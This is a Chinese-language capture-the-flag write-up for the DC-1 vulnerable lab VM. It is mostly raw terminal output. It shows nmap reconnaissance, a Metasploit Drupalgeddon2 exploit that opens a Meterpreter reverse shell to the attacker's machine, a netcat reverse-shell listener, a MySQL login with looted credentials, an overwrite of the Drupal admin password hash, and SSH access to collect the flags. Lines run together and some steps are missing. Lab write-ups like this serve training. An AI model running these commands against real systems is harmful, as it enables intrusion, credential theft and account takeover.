DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
0x01.上nmap
可以发现1为网关，2为宿主机，6为kali，那么3就是我们的受害者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
root@JIYE:~/tmp/DC1# nmap -sP 192.168.1.0/24 -oN nmap.sP Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 07:08 EDT Nmap scan report for 192.168.1.1 Host is up (0.0019s latency). MAC Address: 68:D1:BA:1F:FD:48 (Shenzhen Youhua Technology) Nmap scan report for 192.168.1.2 Host is up (0.00027s latency). MAC Address: 50:5B:C2:8C:BE:A5 (Liteon Technology) Nmap scan report for 192.168.1.3 Host is up (0.00027s latency). MAC Address: 00:0C:29:45:E3:65 (VMware) Nmap scan report for 192.168.1.6 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.08 seconds root@JIYE:~/tmp/DC1# ls nmap.sP
root@JIYE:~/tmp/DC1# nmap -A 192.168.1.3 -p 1-65535 -oN nmap.A Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 07:19 EDT Nmap scan report for 192.168.1.3 Host is up (0.00080s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 36531/tcp6 status | 100024 1 41087/tcp status | 100024 1 48070/udp6 status |_ 100024 1 50997/udp status 41087/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:45:E3:65 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.80 ms 192.168.1.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.37 seconds
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf5 exploit(unix/webapp/drupal_drupalgeddon2) > msf5 exploit(unix/webapp/drupal_drupalgeddon2) > info
Name: Drupal Drupalgeddon 2 Forms API Property Injection Module: exploit/unix/webapp/drupal_drupalgeddon2 Platform: PHP, Unix, Linux Arch: php, cmd, x86, x64 Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2018-03-28
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host
Payload information: Avoid: 3 characters
Description: This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.6 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic (PHP In-Memory)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.3 rhosts => 192.168.1.3 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.1.6 lhost => 192.168.1.6 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload set payload generic/custom set payload php/bind_php set payload php/meterpreter/bind_tcp_uuid set payload generic/shell_bind_tcp set payload php/bind_php_ipv6 set payload php/meterpreter/reverse_tcp set payload generic/shell_reverse_tcp set payload php/download_exec set payload php/meterpreter/reverse_tcp_uuid set payload multi/meterpreter/reverse_http set payload php/execset payload php/meterpreter_reverse_tcp set payload multi/meterpreter/reverse_https set payload php/meterpreter/bind_tcp set payload php/reverse_perl set payload php/bind_perl set payload php/meterpreter/bind_tcp_ipv6 set payload php/reverse_php set payload php/bind_perl_ipv6 set payload php/meterpreter/bind_tcp_ipv6_uuid msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.1.6:4444 [*] Sending stage (38288 bytes) to 192.168.1.3 [*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.3:52082) at 2020-08-20 08:50:40 -0400
/** * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */ $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );
root@JIYE:~# nc -nvlp 6666 listening on [any] 6666 ... connect to [192.168.1.6] from (UNKNOWN) [192.168.1.3] 51322 www-data@DC-1:/var/www$
反弹成功再次登入mysql
0x08.再次登入mysql
然而在反弹给kali的shell不能登陆到mysql（我giao，这是什么原理？？？？？？）
1 2 3 4 5 6
root@JIYE:~# nc -nvlp 6666 listening on [any] 6666 ... connect to [192.168.1.6] from (UNKNOWN) [192.168.1.3] 51322 www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t mysql -udbuser -pR0ck3t
meterpreter > shell Process 3960 created. Channel 16 created. python -c 'import pty;pty.spawn("/bin/bash")' www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t mysql -udbuser -pR0ck3t Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 16035 Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
mysql> use drupaldb use drupaldb Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
update users set pass="$S$D4KjoV1PUSBjXtqmjsUaVuRE4TrPc8iY2F.KYKPn.qzT7vbfsg27" where uid=1;
1 2 3 4 5 6 7 8 9 10 11 12
mysql> use drupaldb; use drupaldb; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> update users set pass="$S$D4KjoV1PUSBjXtqmjsUaVuRE4TrPc8iY2F.KYKPn.qzT7vbfsg27" where uid=1; <s="$S$D4KjoV1PUSBjXtqmjsUaVuRE4TrPc8iY2F.KYKPn.qzT7vbfsg27" where uid=1; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0
root@JIYE:~/tmp/DC1# ssh flag4@192.168.1.3 The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established. ECDSA key fingerprint is SHA256:89B+YqcNl4cSf/BZk26MQG1QeW4BvBlVENMbTRhVhsU. Are you sure you want to continue connecting (yes/no/[fingerprint])? y Please type 'yes', 'no' or the fingerprint: yes Warning: Permanently added '192.168.1.3' (ECDSA) to the list of known hosts. flag4@192.168.1.3's password: Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. flag4@DC-1:~$
查看文件，得到flag4
1 2 3 4 5 6 7 8 9
flag4@DC-1:~$ ls flag4.txt flag4@DC-1:~$ flag4@DC-1:~$ flag4@DC-1:~$ cat flag4.txt Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is? flag4@DC-1:~$
根据提示，你能用相同方法找到root的吗？或许很难，但也不一定
尝试cd到root用户下，结果失败，接下来提权
1 2 3 4
flag4@DC-1:~$ cd /root/ -bash: cd: /root/: Permission denied flag4@DC-1:~$
# pwd /home/flag4 # cd /root # ls thefinalflag.txt # cat thefinalflag.txt Well done!!!!
Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7 #
